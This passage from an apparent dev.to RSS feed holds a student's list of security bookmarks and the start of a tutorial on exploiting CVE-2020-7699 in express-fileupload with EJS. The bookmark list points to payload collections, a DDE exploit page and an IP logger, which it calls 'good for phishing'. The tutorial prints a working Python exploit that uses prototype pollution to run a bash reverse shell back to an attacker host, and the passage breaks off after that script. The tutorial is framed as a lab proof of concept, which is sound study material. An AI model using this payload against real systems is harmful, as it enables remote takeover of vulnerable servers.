&lt;p&gt;With that, you can start testing your CI/CD pipeline script! Perhaps try some devsecops tools. Snyk? Synopsys? &lt;/p&gt;

&lt;p&gt;Thank you for reading my post :) I am still learning so please let me know if I can do this better! I might just be spreading misinformation lol&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>devops</category>
      <category>tutorial</category>
      <category>docker</category>
    </item>
    <item>
      <title>My "hacking" bookmarks / tools</title>
      <dc:creator>boiledsteak</dc:creator>
      <pubDate>Tue, 17 Aug 2021 10:07:14 +0000</pubDate>
      <link>https://dev.to/boiledsteak/my-hacking-bookmarks-tools-1837</link>
      <guid>https://dev.to/boiledsteak/my-hacking-bookmarks-tools-1837</guid>
      <description>&lt;p&gt;Hello! These are some websites I have bookmarked while studying. They are definitely not pro hacking tools but should be useful for open-source intelligence (OSINT) and for cybersecurity certifications. &lt;/p&gt;

&lt;h1&gt;
  
  
  Contents &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Weak Site 1&lt;/li&gt;
&lt;li&gt;Weak Site 2&lt;/li&gt;
&lt;li&gt;Computer Laws in Singapore&lt;/li&gt;
&lt;li&gt;CVE&lt;/li&gt;
&lt;li&gt;OSSA Notes&lt;/li&gt;
&lt;li&gt;Whois&lt;/li&gt;
&lt;li&gt;NMAP cheatsheet 1&lt;/li&gt;
&lt;li&gt;NMAP cheatsheet 2&lt;/li&gt;
&lt;li&gt;TCP Port Numbers&lt;/li&gt;
&lt;li&gt;Tripwire Reports&lt;/li&gt;
&lt;li&gt;Wireshark Filters&lt;/li&gt;
&lt;li&gt;Wireshark Filters 2&lt;/li&gt;
&lt;li&gt;Snort Rules&lt;/li&gt;
&lt;li&gt;Virus Total&lt;/li&gt;
&lt;li&gt;Fileless Malware&lt;/li&gt;
&lt;li&gt;IP Logger&lt;/li&gt;
&lt;li&gt;File Analysis&lt;/li&gt;
&lt;li&gt;Explain Shell Code&lt;/li&gt;
&lt;li&gt;Check Process&lt;/li&gt;
&lt;li&gt;Security Policy Templates&lt;/li&gt;
&lt;li&gt;Microsoft Keys&lt;/li&gt;
&lt;li&gt;OWASP Risk Rating&lt;/li&gt;
&lt;li&gt;Download Windows 10&lt;/li&gt;
&lt;li&gt;OSSTMM&lt;/li&gt;
&lt;li&gt;Change Windows Password&lt;/li&gt;
&lt;li&gt;ARP Poisoning&lt;/li&gt;
&lt;li&gt;DROP vs REJECT&lt;/li&gt;
&lt;li&gt;NodeJS Hacks&lt;/li&gt;
&lt;li&gt;LockHeed Killchain&lt;/li&gt;
&lt;li&gt;DirBuster&lt;/li&gt;
&lt;li&gt;CyberChef&lt;/li&gt;
&lt;li&gt;NIST&lt;/li&gt;
&lt;li&gt;Payloads&lt;/li&gt;
&lt;li&gt;OWASP Zap&lt;/li&gt;
&lt;li&gt;DDE Auto Exploit&lt;/li&gt;
&lt;li&gt;EKANS Ransomware&lt;/li&gt;
&lt;li&gt;Maze Ransomware&lt;/li&gt;
&lt;li&gt;Syntax Highlighter&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Weak Site 1 &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Vulnerable website to perform pen testing&lt;br&gt;
&lt;a href="http://www.vulnweb.com/"&gt;http://www.vulnweb.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Weak Site 2 &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Another Vulnerable website to perform pen testing&lt;br&gt;
&lt;a href="https://demo.testfire.net/"&gt;https://demo.testfire.net/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Computer Laws in Singapore &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Computer laws in Singapore are defined in the Computer Misuse Act&lt;br&gt;
&lt;a href="https://sso.agc.gov.sg/Act/CMA1993"&gt;https://sso.agc.gov.sg/Act/CMA1993&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  CVE &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Discover more about reported vulnerabilities and exploits&lt;br&gt;
&lt;a href="https://www.cvedetails.com/"&gt;https://www.cvedetails.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  OSSA Notes &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Notes for a cybersecurity certification, Organisational Systems Security Analyst&lt;br&gt;
&lt;a href="https://github.com/exetr/OSSA-Notes#osi-model"&gt;https://github.com/exetr/OSSA-Notes#osi-model&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Whois &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Discover more about a website's domain with this online Whois tool&lt;br&gt;
&lt;a href="http://whois.domaintools.com/"&gt;http://whois.domaintools.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  NMAP cheatsheet 1 &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;NMAP is a very popular hacking tool. This is one cheatsheet I used to operate NMAP&lt;br&gt;
&lt;a href="https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/"&gt;https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  NMAP cheatsheet 2 &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;NMAP is a very popular hacking tool. This is one cheatsheet I used to operate NMAP&lt;br&gt;
&lt;a href="https://highon.coffee/blog/nmap-cheat-sheet/"&gt;https://highon.coffee/blog/nmap-cheat-sheet/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  TCP Port Numbers &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Good for both blue and red teaming or for exams&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.meridianoutpost.com/resources/articles/well-known-tcpip-ports.php"&gt;http://www.meridianoutpost.com/resources/articles/well-known-tcpip-ports.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Tripwire Reports &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Tripwire is a network intrusion detection system (NIDS). Usually used in schools and beginner courses as proof of concept. I doubt it's used in production now. I believe SIEMs such as Splunk and IBM QRadar are more popular.&lt;/p&gt;

&lt;p&gt;However if you do use the tripwire application, this might help&lt;br&gt;
&lt;a href="https://www-uxsup.csx.cam.ac.uk/pub/doc/redhat/redhat8/rhl-rg-en-8.0/s1-tripwire-twprint.html"&gt;https://www-uxsup.csx.cam.ac.uk/pub/doc/redhat/redhat8/rhl-rg-en-8.0/s1-tripwire-twprint.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Wireshark Filters &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Wireshark needs no introduction. This is one cheatsheet I used&lt;br&gt;
&lt;a href="https://www.thegeekstuff.com/2012/07/wireshark-filter/"&gt;https://www.thegeekstuff.com/2012/07/wireshark-filter/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Wireshark Filters 2 &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Wireshark needs no introduction. This is one cheatsheet I used&lt;br&gt;
&lt;a href="https://wiki.wireshark.org/DisplayFilters"&gt;https://wiki.wireshark.org/DisplayFilters&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Snort Rules &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Similar to tripwire, Snort is an intrusion detection system (IDS) that's very outdated and surpassed by modern holistic SIEMs&lt;/p&gt;

&lt;p&gt;However it is still used in schools and exams. This might help&lt;br&gt;
&lt;a href="https://blog.rapid7.com/2016/12/09/understanding-and-configuring-snort-rules/"&gt;https://blog.rapid7.com/2016/12/09/understanding-and-configuring-snort-rules/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  VirusTotal &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Check any file or link for malware. Not completely foolproof, do your own testing. &lt;br&gt;
Usually used in schools and exams too&lt;br&gt;
&lt;a href="https://www.virustotal.com/gui/home"&gt;https://www.virustotal.com/gui/home&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Fileless Malware &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Pretty cool stuff&lt;br&gt;
&lt;a href="https://github.com/chenerlich/FCL/blob/master/Malwares/Locky.md"&gt;https://github.com/chenerlich/FCL/blob/master/Malwares/Locky.md&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  IP Logger &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Good for phishing attacks. Not really that malicious since any time you connect to a website or server your IP address is shown. This can be mitigated through many ways such as Tor, VPN, dynamic IP address, these are to name of but a few&lt;br&gt;
&lt;a href="https://iplogger.org/"&gt;https://iplogger.org/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  File Analysis &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Similar to VirusTotal&lt;br&gt;
&lt;a href="https://www.joesandbox.com/"&gt;https://www.joesandbox.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Explain Shell Code &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Pretty cool&lt;br&gt;
&lt;a href="https://explainshell.com/explain?cmd=netstat+-a#"&gt;https://explainshell.com/explain?cmd=netstat+-a#&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Check Process &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Unknown process running on your PC? Check here&lt;br&gt;
&lt;a href="https://www.processlibrary.com/en/"&gt;https://www.processlibrary.com/en/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Security Policy Templates &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Boring stuff&lt;br&gt;
&lt;a href="https://www.sans.org/information-security-policy/"&gt;https://www.sans.org/information-security-policy/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Microsoft Keys &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;I didn't know I had access to this with my school email account lol. Useful for setting up VMs for testing&lt;br&gt;
&lt;a href="https://azureforeducation.microsoft.com/devtools"&gt;https://azureforeducation.microsoft.com/devtools&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  OWASP Risk Rating &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Needs no introduction&lt;br&gt;
&lt;a href="https://owasp.org/www-community/OWASP_Risk_Rating_Methodology"&gt;https://owasp.org/www-community/OWASP_Risk_Rating_Methodology&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Download Windows 10 &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Windows 10 .iso literally on their website free to download&lt;br&gt;
&lt;a href="https://www.microsoft.com/en-au/software-download/windows10"&gt;https://www.microsoft.com/en-au/software-download/windows10&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  OSSTMM &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Similar to OWASP Top 10&lt;br&gt;
&lt;a href="https://kirkpatrickprice.com/blog/what-you-need-to-know-about-osstmm/"&gt;https://kirkpatrickprice.com/blog/what-you-need-to-know-about-osstmm/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Change Windows Password &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Old hack that works on old PCs&lt;br&gt;
&lt;a href="https://en.wikipedia.org/wiki/Chntpw"&gt;https://en.wikipedia.org/wiki/Chntpw&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  ARP Poisoning &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;I always forget what's the difference between ARP and DNS poisoning. This website has notes for CEH as well&lt;br&gt;
&lt;a href="https://ktflash.gitbooks.io/ceh_v9/content/74_arp_poisoning.html"&gt;https://ktflash.gitbooks.io/ceh_v9/content/74_arp_poisoning.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  DROP vs REJECT &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;I always forget the difference&lt;br&gt;
&lt;a href="http://www.chiark.greenend.org.uk/%7Epeterb/network/drop-vs-reject"&gt;http://www.chiark.greenend.org.uk/~peterb/network/drop-vs-reject&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  NodeJS Hacks &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Cool stuff for NodeJS&lt;br&gt;
&lt;a href="https://github.com/aadityapurani/NodeJS-Red-Team-Cheat-Sheet"&gt;https://github.com/aadityapurani/NodeJS-Red-Team-Cheat-Sheet&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  LockHeed Killchain &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;LockHeed Martin Cyber Kill Chain. Useful for organisational security I suppose&lt;br&gt;
&lt;a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html"&gt;https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  DirBuster &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Useful for intrusive penetration testing. I believe this tool is included with Kali&lt;br&gt;
&lt;a href="https://tools.kali.org/web-applications/dirbuster"&gt;https://tools.kali.org/web-applications/dirbuster&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  CyberChef &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Decrypt (not really) anything&lt;br&gt;
&lt;a href="https://gchq.github.io/CyberChef/"&gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  NIST &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Another cybersecurity framework. Similar to OWASP&lt;br&gt;
&lt;a href="https://www.k2io.com/understanding-the-new-nist-sp800-53-guidelines-for-application-security/"&gt;https://www.k2io.com/understanding-the-new-nist-sp800-53-guidelines-for-application-security/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Payloads &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Probably the most dangerous link here&lt;br&gt;
&lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings"&gt;https://github.com/swisskyrepo/PayloadsAllTheThings&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  OWASP Zap &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;I have never tried this. Always wanted to&lt;br&gt;
&lt;a href="https://www.google.com/search?q=owasp+xap"&gt;https://www.google.com/search?q=owasp+xap&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  DDE Auto Exploit &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Cool exploit good with phishing&lt;br&gt;
&lt;a href="https://pentestlab.blog/2018/01/16/microsoft-office-dde-attacks/"&gt;https://pentestlab.blog/2018/01/16/microsoft-office-dde-attacks/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  EKANS Ransomware &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Something I've always wanted to read up&lt;br&gt;
&lt;a href="https://www.google.com/search?q=ekans+hack"&gt;https://www.google.com/search?q=ekans+hack&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Maze Ransomware &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Something I've always wanted to read up&lt;br&gt;
&lt;a href="https://www.google.com/search?q=maze+hackers"&gt;https://www.google.com/search?q=maze+hackers&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Syntax Highlighter &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Useful for writing reports&lt;br&gt;
&lt;a href="https://pinetools.com/syntax-highlighter"&gt;https://pinetools.com/syntax-highlighter&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>Simple Remote Code Execution on EJS Web Applications with express-fileupload</title>
      <dc:creator>boiledsteak</dc:creator>
      <pubDate>Sat, 05 Jun 2021 11:18:36 +0000</pubDate>
      <link>https://dev.to/boiledsteak/simple-remote-code-execution-on-ejs-web-applications-with-express-fileupload-3325</link>
      <guid>https://dev.to/boiledsteak/simple-remote-code-execution-on-ejs-web-applications-with-express-fileupload-3325</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Foverview-diagram.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Foverview-diagram.png" alt="attack scenario diagram"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://github.com/boiledsteak/EJS-Exploit/blob/main/EJS-RCE-user-guide-plain.docx" rel="noopener noreferrer"&gt;TLDR with no explanation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As an IT / cybersecurity student, I heavily relied on searching online for guides and forums to help me with my assignments. So this is me giving back to the community 😄&lt;/p&gt;

&lt;p&gt;In this post I will explain how to exploit a vulnerability in an older version of a NodeJS library to enable RCE. Many concepts and technologies used will require an&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;intermmediate level of hands-on knowledge of cybersecurity&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I will not explain every term. The entire process is quite simple. If you are unfamiliar with anything, try read it up. Everything mentioned is fairly common.&lt;/p&gt;

&lt;p&gt;This Proof of Concept (POC) is a simple example of RCE. &lt;strong&gt;Good for demonstrating RCE to an audience without technical knowledge.&lt;/strong&gt; I doubt it can be used in the wild for penetration testing or for any malicious purposes. In fact the author of the dependency has a &lt;a href="https://github.com/richardgirges/express-fileupload" rel="noopener noreferrer"&gt;glaring warning&lt;/a&gt; of this vulnerability at the top of their github repo&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Fscreenshots%2Fgithub.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Fscreenshots%2Fgithub.png" alt="security warning of express-fileupload"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This exploit was referenced from: &lt;a href="https://blog.p6.is/Real-World-JS-1/" rel="noopener noreferrer"&gt;https://blog.p6.is/Real-World-JS-1/&lt;/a&gt;&lt;br&gt;
^The author explains why the outdated dependency is vulnerable.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Disclaimer: I am a security student with no professional programming / software engineer experience so my code may not be following best practices...but they work&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Contents &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Abstract&lt;/li&gt;
&lt;li&gt;
Set Up

&lt;ul&gt;
&lt;li&gt;Attacker&lt;/li&gt;
&lt;li&gt;Victim&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Launch Attack&lt;/li&gt;
&lt;li&gt;
Risk

&lt;ul&gt;
&lt;li&gt;Likelihood&lt;/li&gt;
&lt;li&gt;Impact&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;
  
  
  Abstract &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE Code&lt;/td&gt;
&lt;td&gt;CVE-2020-7699&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE Code&lt;/td&gt;
&lt;td&gt;CWE-400&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Publish Date&lt;/td&gt;
&lt;td&gt;30 July 2020&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attack Type&lt;/td&gt;
&lt;td&gt;Remote Code Execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability&lt;/td&gt;
&lt;td&gt;JavaScript Prototype Pollution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cause&lt;/td&gt;
&lt;td&gt;Misconfiguration?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fix&lt;/td&gt;
&lt;td&gt;Update Libraries, Proper Network Configuration, Firewalls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected Technology&lt;/td&gt;
&lt;td&gt;Node, Express, express-fileupload v1.1.10 and earlier , EJS&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;
&lt;h1&gt;
  
  
  Set Up &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;All files needed can be found in my github repository. Higher resolution versions of all images used can be found in there too.&lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/boiledsteak" rel="noopener noreferrer"&gt;
        boiledsteak
      &lt;/a&gt; / &lt;a href="https://github.com/boiledsteak/EJS-Exploit" rel="noopener noreferrer"&gt;
        EJS-Exploit
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Remote Code Execution EJS Web Applications using express-fileupload
    &lt;/h3&gt;
  &lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  Attacker &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;First, set up a Kali Virtual Machine (VM). Ensure all commands are run in bash. Check that Python3 is installed.&lt;/p&gt;

&lt;p&gt;Move this file into the kali VM&lt;br&gt;
&lt;strong&gt;EJS-RCE-attack.py&lt;/strong&gt; (can be found in my github repo)&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;

&lt;span class="c1"&gt;##############################################################
# Run this .py to perform EJS-RCE attack
# referenced from
# https://blog.p6.is/Real-World-JS-1/
# 
# Timothy, 10 November 2020
##############################################################
&lt;/span&gt;
&lt;span class="c1"&gt;### imports
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="c1"&gt;### commands to run on victim machine
&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;bash -c &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bash -i &amp;amp;&amp;gt; /dev/tcp/192.168.98.11/8020 0&amp;gt;&amp;amp;1&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Starting Attack...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;### pollute
&lt;/span&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://192.168.98.10:8080&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__proto__.outputFunctionName&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;x;console.log(1);process.mainModule.require(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;child_process&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).exec(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;);x&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)})&lt;/span&gt;

&lt;span class="c1"&gt;### execute command
&lt;/span&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://192.168.98.10:8080&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Finished!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

